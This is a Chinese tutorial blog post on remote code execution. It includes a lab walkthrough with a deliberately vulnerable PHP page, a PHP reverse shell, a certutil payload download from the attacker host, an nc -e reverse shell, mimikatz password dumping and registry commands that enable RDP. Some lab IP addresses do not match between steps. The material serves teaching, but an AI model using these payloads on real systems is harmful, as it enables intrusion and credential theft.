RCE(遠端程式碼執行漏洞)原理及漏洞利用
作用
RCE漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。
原理
一般出現這種漏洞,是因為應用系統從設計上需要給使用者提供指定的遠端命令操作的介面。比如我們常見的路由器、防火牆、入侵檢測等裝置的web管理介面上。一般會給使用者提供一個ping操作的web介面,使用者從web介面輸入目標IP,提交後,後臺會對該IP地址進行一次ping測試,並返回測試結果。 如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該介面提交“意想不到”的命令,從而讓後臺進行執行,從而控制整個後臺伺服器。 現在很多的企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作。在這種平臺上往往會出現遠端系統命令執行的漏洞。 遠端程式碼執行 同樣的道理,因為需求設計,後臺有時候也會把使用者的輸入作為程式碼的一部分進行執行,也就造成了遠端程式碼執行漏洞。 不管是使用了程式碼執行的函式,還是使用了不安全的反序列化等等。 因此,如果需要給前端使用者提供操作類的API介面,一定需要對介面輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。
系統命令執行函式
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
1
2
3
4
5
6
7
windows系統命令拼接方式
“|”:管道符,前面命令標準輸出,後面命令的標準輸入。例如:help |more
“&” commandA & commandB 先執行命令A,然後執行命令B
“||” commandA || commandB 執行命令A,如果失敗則執行命令B
“&&” commandA && commandB 執行命令A,如果成功則執行命令B
1
2
3
4
RCE漏洞復現
一、復現環境
靶機:win10:ip:192.168.203.135
攻擊機:win10:ip:192.168.123.150
get shell機:kali2020:ip:192.168.203.130
二、漏洞復現
1.靶機建立檔案:1.php
<?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0); //禁用錯誤報告
$a = $_GET["a"];
system($a);
?>
1
2
3
4
5
6
2.攻擊機建立檔案:2.php
<?php
set_time_limit(0);
$ip="192.168.203.130"; #kali ip
$port=3939;
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){
echo "error";
}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"shell:");//輸出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
3.訪問1.php
靶機訪問:
輸入
http://192.168.203.135/1.php?a=ipconfig
1
發現可以執行cmd命令
攻擊機也可訪問:
漏洞利用
利用cmd命令遠端下載檔案 (1.txt不需要建立)
將2.php檔案上傳
certutil -urlcache -split -f http://192.168.123.150/1.txt 2.php
1
攻擊機中訪問:
http://192.168.232.141/1.php?a=certutil -urlcache -split -f http://192.168.101.8/1.txt 2.php
1
使用kali的nc監聽3939埠
nc -lvvp 3939
1
瀏覽器訪問2.php檔案
監聽成功,成功get shell
其他利用
1.獲取win7密碼
如果靶機是win7,我們可以上傳mimikatz.exe檔案來獲取win7系統的所有賬號密碼
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
1
2
3
獲取賬號密碼後,就可以開啟遠端連線服務了
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
1
如果開啟不成功,須執行以下命令
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
1
2
3
4
net start termservice
1
然後再開啟一次
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
1
最後主機使用快捷鍵win+s,搜尋mstsc 就可以開啟windos遠端桌面連線了
2.nc反彈
向靶機上傳nc.exe檔案
nc 192.168.203.130 3939 -e C:\windows\system32\cmd.exe
1
kali監聽
nc -lvvp 3939
1
成功get shell
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70010128/viewspace-2871536/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- Joomla遠端程式碼執行漏洞分析OOM
- OpenWRT 曝遠端程式碼執行漏洞
- 什麼是遠端程式碼執行漏洞?
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- Discuz! X系列遠端程式碼執行漏洞分析
- .NET Remoting 遠端程式碼執行漏洞探究REM
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- log4j遠端程式碼執行漏洞
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- Struts2遠端程式碼執行漏洞預警
- OGNL設計及使用不當造成的遠端程式碼執行漏洞
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- Log4j遠端程式碼執行漏洞漫談
- Struts2遠端程式碼執行漏洞檢測的原理和程式碼級實現
- phpcms網站漏洞修復遠端程式碼寫入快取漏洞利用PHP網站快取
- Apache SSI 遠端命令執行漏洞Apache
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)Apache
- 核彈級漏洞——Apache Log4j 2 遠端程式碼執行漏洞事件詳情及修復方式Apache事件
- 國家漏洞庫CNNVD:關於微信Windows客戶端遠端程式碼執行漏洞的預警CNNWindows客戶端
- PHPMailer遠端命令執行漏洞復現PHPAI
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警PHP
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- 【核彈級漏洞】關於Apache Log4j 2遠端程式碼執行漏洞風險提示Apache
- ElasticSearch 遠端程式碼執行漏洞分析(CVE-2015-1427)&高階利用方法Elasticsearch
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行PHP伺服器
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)SpringWeb
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)Apache
- Fastjson反序列化遠端程式碼執行漏洞產生原因及修復建議ASTJSON
- Chrome 77釋出,修復遠端程式碼執行漏洞!請儘快更新!Chrome